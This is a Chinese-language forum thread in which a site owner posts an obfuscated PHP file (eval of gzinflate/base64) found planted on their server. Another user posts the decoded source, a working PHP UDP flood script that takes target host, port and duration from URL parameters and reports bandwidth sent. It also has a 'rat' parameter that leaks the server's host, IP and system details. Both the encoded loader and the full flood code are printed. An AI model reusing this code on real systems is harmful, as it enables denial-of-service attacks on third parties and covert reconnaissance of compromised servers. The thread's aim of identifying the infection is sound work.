cnjiao

被挂了马，想看看是什么东西

<?php
eval(gzinflate(base64_decode('DdRFzqUKAkDheW3kVYUBbnmdruBc3G3SweXiDqvvfwMn+Sbn73//83du5l+/yjPtf9dvO1Z9upe/s3QrCex/RZlPRfn7Hz5xlHUxVKbm0SIRK8XJdMlysij8PJJk8kMoe27LJQ1iI6NGVqz/UVXHAUHwqE6i4U6UZOXIBR9iK9ua2Cg5V8WtvkFqb4wju+iXVsmjU2kGF/1qrK9CAlTBIIAXJ3TW4GwonSW/x+h+bUOATuBntE0d06B4ITSMft90m7SRh+qd8YmrPIlIl3OOGIZN4uuV8HOy+YyOSN1COPLnQW+DG1C24m6HX+SzYar2CI7FDIUvOs/uyriVda3RctIBy3EGbkblkvceLD9FDa2ebyhx8WrKNXIqJzYZzvYmvH0+4OBW0eLRvXh/03WeyiBjsoeMn6oYcJeVsXf/LEfhCAk/Q1PQtHp4wCvI/KSnA7oYdOQpaT6NY4wqKFi8GiihyRE03ZylmZx1KEZYZ74iA4yds2+uiF+/2qjkxovIDJkaoCe4iRgf9gaUgai6clqHAGIQokiZ/BoboziGHwPds72bWUwJzfajyz7h7utmuXJn9gYyIfglIH7+tfNPmvcLQWwjlAKS0gFRv2qn3yeRLyJV7VuqPsgmibEMBHxcz+CUOBN06lBlf/Awy4WmIsRCmVpGGqLjT5DVhOgQ4w35RqwOJtZOtSbswbAKUzbjQgUtMwcEOIg7O4/TjSfGnVVNG6RVgUuUrL7Y31GJSXkBWeXVXxdInrOIIta09iTp73oX2NTadfK4N49Eg+Dy4kZ7IWO1vqSOxHH+TTPsA1DYm0GPVNF3O39Ilg2xBq/GyXWCby4vR9bjAHqaB2TfGTH32w+is/1zAUyfcr6muZ5R29n0hCi+g15Z2QblojYaR9FTGrIZWJrNUXkKMz0BXF40mXdbqgKgarZo8cGsqdMNKytZyLNlQb5Z3Eb9zIFp55SbPmyxO1ORlTlRfBQBaAARVzkOfdfv4G7wF0SSF74+AavPKH6GaDLPbXOa1Y8+ZCx1qe1+OmwvwsGz2o4mU19gp55vk5L8dRkiK1B+RWJaTepQwiGs7AemFWjR1jc832eNl+DfLH8E73GLVDyaMlKDr0d6OFnUuBpZXT3kZdbGw8JxvA5ZHYHiusghT2eW3SLIQUEv9OUu8DzOFtW7LKpb5xLUFqRbB1k7Prdo977t35fn3nkD4FgCuYNIoSSXDAyohpTi7cHeU/+R1C+GGYkUZ1pNc93tFDi6wgjqJBOALrMCfhGOYqUpO3Dt+RnAI3doti7jaFpRHvgO4EIyGBlV0x4Cg177yekV/FqGFdKMomDhE4CAbitAGi/maYJfzk/rETVzD/EMrZ+gBVfElrR0OLv23KTPNnrBmO795/GpodLgeKplZkGOXqDEO4bbY2rGQrXRRmyariIVl7kPl3xOsN0HpM0HrNj2hl45azEX8fKvnggRxdvt4YRhsQ6AnJGL7AQkrLlRzEJBALRGFKaBKq2w6p8/f/78++vvz6j/Dw==')));
?>

imz5

1. <?php
   
2. set_time_limit(999999);
   
3. $host = $_GET['host'];
   
4. $port = $_GET['port'];
   
5. $exec_time = $_GET['time'];
   
6. $Sendlen = 65535;
   
7. $packets = 0;
   
8. ignore_user_abort(True);
   
9. 
   
10. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
    
11.         if (StrLen($_GET['rat'])<>0){
    
12.                 echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
    
13.                 exit;
    
14.             }
    
15.         echo "Parameters can not be empty!";
    
16.         exit;
    
17.     }
    
18. 
    
19. for($i=0;$i<$Sendlen;$i++){
    
20.         $out .= "A";
    
21.     }
    
22. 
    
23. $max_time = time()+$exec_time;
    
24. 
    
25. while(1){
    
26.     $packets++;
    
27.     if(time() > $max_time){
    
28.         break;
    
29.     }
    
30.     $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    
31.         if($fp){
    
32.             fwrite($fp, $out);
    
33.             fclose($fp);
    
34.     }
    
35. }
    
36. 
    
37. echo "Send Host&#65533;&#65533;$host:$port<br><br>";
    
38. echo "Send Flow&#65533;&#65533;$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
    
39. echo "Send Rate&#65533;&#65533;" . round($packets/$exec_time, 2) . " packs/s&#65533;&#65533;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
    
40. ?>

复制代码

imz5

解密出来有些乱码？
网上搜了一下：说是php ddos
我的站原来也中过这个

zgqc

楼上的应该是，没环境不试验了。

gzinflate(base64_decode('DdRFzqUKAkDheW3kVY。。。。
KaBKq2w6p8/f/78++vvz6j/Dw=='));

这个就是输出的就是代码

xy458

  不错